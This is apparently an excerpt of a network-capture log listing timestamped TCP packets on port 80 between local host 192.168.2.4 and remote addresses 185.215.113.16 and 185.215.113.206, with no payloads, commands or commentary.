Oct 26, 2024 05:54:59.075936079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.075969934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.076003075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.076117992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.076117992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.108174086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.108211040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.108243942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.108251095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.108413935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.110038042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110071898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110106945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110136986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110169888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.110169888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.110172033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110207081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110239983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110268116 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.110449076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110518932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110524893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.110553026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110616922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110618114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.110687017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110735893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110769033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.110779047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.110815048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.149741888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.149831057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.149843931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.149998903 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.197043896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.197103977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.197133064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.197236061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.238441944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.238584042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.238596916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.238751888 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.238787889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.240005970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.240027905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.240044117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.240072966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.269191980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.269247055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.269274950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.269349098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.269469976 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.271588087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271641970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271675110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271727085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271740913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.271759987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271792889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271819115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.271826982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271833897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.271862984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271898031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271924973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271930933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.271961927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.271975040 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.272022963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.272088051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.272115946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.272121906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.272150040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.272259951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.311208963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.311259985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.311336040 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.311377048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.311552048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.358088970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.358109951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.358127117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.358144045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.358163118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.358190060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.398159981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.398195028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.398232937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.398264885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.398277044 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.398343086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.398377895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.398411036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.398418903 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.398418903 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.430655003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.430706978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.430747032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.430752039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.432233095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.433062077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433120012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433155060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433190107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433248997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.433248997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.433295965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433332920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433366060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433430910 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.433434963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433510065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433540106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433587074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.433587074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.433661938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433728933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433763981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433816910 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.433849096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.433916092 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.472847939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.472948074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.472986937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.473050117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.519195080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.519232035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.519335985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.519418955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.519470930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.519511938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.559977055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.560102940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.560120106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.560136080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.560169935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.560188055 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.560235977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.560236931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.592144012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.592190027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.592252970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.592286110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.592294931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.592379093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.595273018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595352888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595406055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595442057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595451117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.595478058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595514059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595523119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.595547915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595561028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.595583916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595618963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595654964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595695019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.595698118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.595698118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.633722067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.633773088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.633810997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.633816004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.633857012 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.681159019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.681212902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.681252003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.681262970 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.721287966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.721410036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.721431017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.721450090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.721487999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.721518040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.721648932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.753346920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.753397942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.753415108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.753726959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.755557060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.755572081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.755625963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.755727053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.755779028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.755783081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.755799055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.755831957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.755845070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.755893946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.755909920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.755954027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.756083965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.756146908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.756164074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.756192923 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.756208897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.756216049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.756242037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.756489038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.756540060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.775681973 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:59.775764942 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:59.795053959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.795078039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.795095921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.795145035 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.795203924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.842444897 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.842466116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.842483044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.842499971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.842530012 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.842547894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.882455111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.882486105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.882498980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.882543087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.882965088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.883017063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.883023977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.883057117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.883105040 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.914506912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.914525032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.914546013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.914594889 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.916995049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917046070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.917047977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917082071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917117119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917136908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.917184114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917238951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917273045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917287111 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.917309999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917320967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.917579889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917624950 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.917632103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917665958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917699099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917751074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.917819977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917848110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.917864084 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.956691027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.956739902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.956757069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:59.956787109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:59.956810951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.003997087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.004021883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.004039049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.004194021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.044075966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.044137955 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.044219971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.044236898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.044253111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.044267893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.044404030 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.075774908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.075854063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.075885057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.075918913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.075921059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.075968981 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.078159094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078191042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078241110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078243017 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.078272104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078319073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.078322887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078356981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078389883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078438997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.078486919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078538895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078572989 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078591108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.078625917 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.078660965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078690052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078738928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.078932047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.078984022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.079015017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.079063892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.079066992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.079096079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.079145908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.117954016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.117988110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.118021965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.118065119 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.118118048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.165092945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.165257931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.165287971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.165340900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.205197096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.205248117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.205300093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.205316067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.205336094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.205347061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.205370903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.205404997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.205437899 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.237061024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.237067938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.237138987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.237195969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.237226009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.237279892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.239495039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.239528894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.239562988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.239592075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.239599943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.239629984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.239645958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.239685059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.239695072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:55:00.239749908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.239783049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:55:00.239798069 CEST	49742	80	192.168.2.4	185.215.113.16
